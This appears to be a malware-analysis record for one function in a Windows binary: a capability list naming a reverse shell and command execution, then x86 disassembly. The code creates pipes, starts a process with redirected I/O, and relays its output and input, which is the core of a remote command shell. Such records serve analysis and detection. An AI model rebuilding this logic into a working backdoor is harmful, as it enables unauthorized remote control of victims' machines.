Function at 0xb2569a
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create reverse shell
Create two anonymous pipes
Execute shell command and capture output
Read file on windows
Read pipe
Terminate process
Write and execute a file
Write file on windows
Write pipe

Disassembly:
mov eax, dword fs:[0x2c]
sub esp, 0x44
push ebx
push ebp
push esi
push edi
mov edi, dword [eax]
or esi, 0xffffffff
mov eax, dword [0xb96cd0]
xor ebx, ebx
cmp eax, dword [edi + 4]
jle 0xb256ec
mov ebp, 0xb96cd0
push ebp
call fcn.00b5445a
pop ecx
cmp dword [0xb96cd0], esi
jne 0xb256ec
push ebx
mov ecx, 0xb96c30
call fcn.00b246f7
push 0xb78017
call fcn.00b54801
pop ecx
push ebp
call fcn.00b5441b
pop ecx
mov eax, dword [0xb96cb0]
cmp eax, dword [edi + 4]
jle 0xb25729
mov edi, 0xb96cb0
push edi
call fcn.00b5445a
pop ecx
cmp dword [0xb96cb0], esi
jne 0xb25729
mov ecx, 0xb96cd8
call fcn.00b220df
push 0xb7800d
call fcn.00b54801
pop ecx
push edi
call fcn.00b5441b
pop ecx
lea ecx, [esp + 0x20]
call fcn.00b220df
mov ebp, 0xb94f90
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esp + 0x14], ebx
cmp byte [0xb92ae6], bl
jne 0xb258a9
mov edx, 0xb860b8
mov ecx, ebp
call fcn.00b25b05
test al, al
je 0xb2589d
push 0xb860c0
call fcn.00b5c12a
pop ecx
mov ebp, 0xb96cd8
push eax
mov ecx, ebp
call fcn.00b25aa6
push 0xb860cc
mov ecx, ebp
call fcn.00b2537d
mov esi, dword [sym.imp.KERNEL32.dll_CreatePipe]
mov ebp, 0xb96bd8
push ebx
push ebp
push 0xb96cb4
push 0xb96ccc
mov dword [0xb96bd8], 0xc
mov dword [0xb96be0], 1
mov dword [0xb96bdc], ebx
call esi
test eax, eax
je 0xb25a4f
push ebx
push ebp
push 0xb96cd4
push 0xb96cb8
call esi
test eax, eax
je 0xb25a4f
push 0x44
pop esi
push esi
push ebx
mov ebp, 0xb96be8
push ebp
call fcn.00b56f10
add esp, 0xc
mov dword [0xb96be8], esi
xor eax, eax
mov dword [0xb96c14], 0x101
mov word [0xb96c18], ax
mov ecx, 0xb96cd8
mov eax, dword [0xb96ccc]
push 0xb96cbc
mov dword [0xb96c20], eax
mov eax, dword [0xb96cd4]
push ebp
mov dword [0xb96c24], eax
mov dword [0xb96c28], eax
call fcn.00b21fab
push eax
push ebx
push ebx
push 1
push ebx
mov ebp, 0xb94f90
push ebx
mov ecx, ebp
call fcn.00b21fab
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
mov ecx, ebp
push 0xb860b4
setne byte [0xb92ae6]
call fcn.00b25aa6
mov esi, 0xb96c30
mov byte [0xb92ae7], 1
mov ecx, esi
call fcn.00b2482d
push ecx
mov ecx, esi
call fcn.00b248c8
sub esp, 0x18
lea eax, [esp + 0x70]
mov ecx, esp
push eax
call fcn.00b220f6
push 0x93
mov ecx, esi
call fcn.00b24aa1
push 0x12c
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0xb92ae6], bl
je 0xb25a2d
push ebx
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], ebx
push eax
push ebx
push ebx
push ebx
push dword [0xb96cb8]
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
cmp dword [esp + 0x18], ebx
jbe 0xb25977
push dword [esp + 0x18]
call fcn.00b5bda0
pop ecx
push ebx
mov ebp, eax
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x20]
push ebp
push dword [0xb96cb8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [esp + 0x1c], ebx
jbe 0xb25969
cmp dword [esp + 0x14], ebx
jbe 0xb25934
push dword [esp + 0x14]
lea ecx, [esp + 0x24]
call fcn.00b21fab
push eax
push ebp
call fcn.00b5bdb0
add esp, 0xc
test eax, eax
jne 0xb25934
push ebp
lea ecx, [esp + 0x3c]
call fcn.00b22093
mov eax, dword [esp + 0x1c]
sub eax, dword [esp + 0x14]
sub esp, 0x18
mov ecx, esp
push eax
push dword [esp + 0x30]
jmp 0xb25948
push ebp
lea ecx, [esp + 0x3c]
call fcn.00b22093
sub esp, 0x18
mov ecx, esp
push dword [esp + 0x34]
push ebx
lea eax, [esp + 0x58]
push eax
call fcn.00b25aab
push 0x62
mov ecx, 0xb96c30
call fcn.00b24aa1
lea ecx, [esp + 0x38]
mov esi, eax
call fcn.00b21fd8
push ebp
call fcn.00b5bd9b
pop ecx
mov ebp, 0xb94f90
jmp 0xb25994
sub esp, 0x18
mov ecx, esp
push 0xb860b4
call fcn.00b22093
push 0x62
mov ecx, 0xb96c30
call fcn.00b24aa1
mov esi, eax
movzx eax, byte [0xb92ae7]
xor ecx, ecx
test esi, esi
cmovle eax, ecx
mov ecx, ebp
mov byte [0xb92ae7], al
call fcn.00b2247c
test eax, eax
je 0xb259f8
push 0xb860d0
mov ecx, ebp
call fcn.00b2537d
push ebp
lea ecx, [esp + 0x24]
call fcn.00b21fc0
push ebx
lea eax, [esp + 0x18]
mov ecx, ebp
push eax
call fcn.00b2247c
push eax
mov ecx, ebp
call fcn.00b21fab
push eax
push dword [0xb96cb4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0xb860b4
mov ecx, ebp
call fcn.00b25aa6
jmp 0xb259fc
mov dword [esp + 0x14], ebx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0xb92ae7], bl
jne 0xb258a9
push ebx
push dword [0xb96cbc]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [0xb96cc0]
call edi
push dword [0xb96cbc]
call edi
mov ecx, 0xb96c30
call fcn.00b24e26
push dword [0xb96cb8]
call edi
push dword [0xb96cd4]
call edi
mov byte [0xb92ae6], bl
mov bl, 1
lea ecx, [esp + 0x20]
call fcn.00b21fd8
lea ecx, [esp + 0x58]
call fcn.00b21fd8
pop edi
pop esi
pop ebp
mov al, bl
pop ebx
add esp, 0x44
ret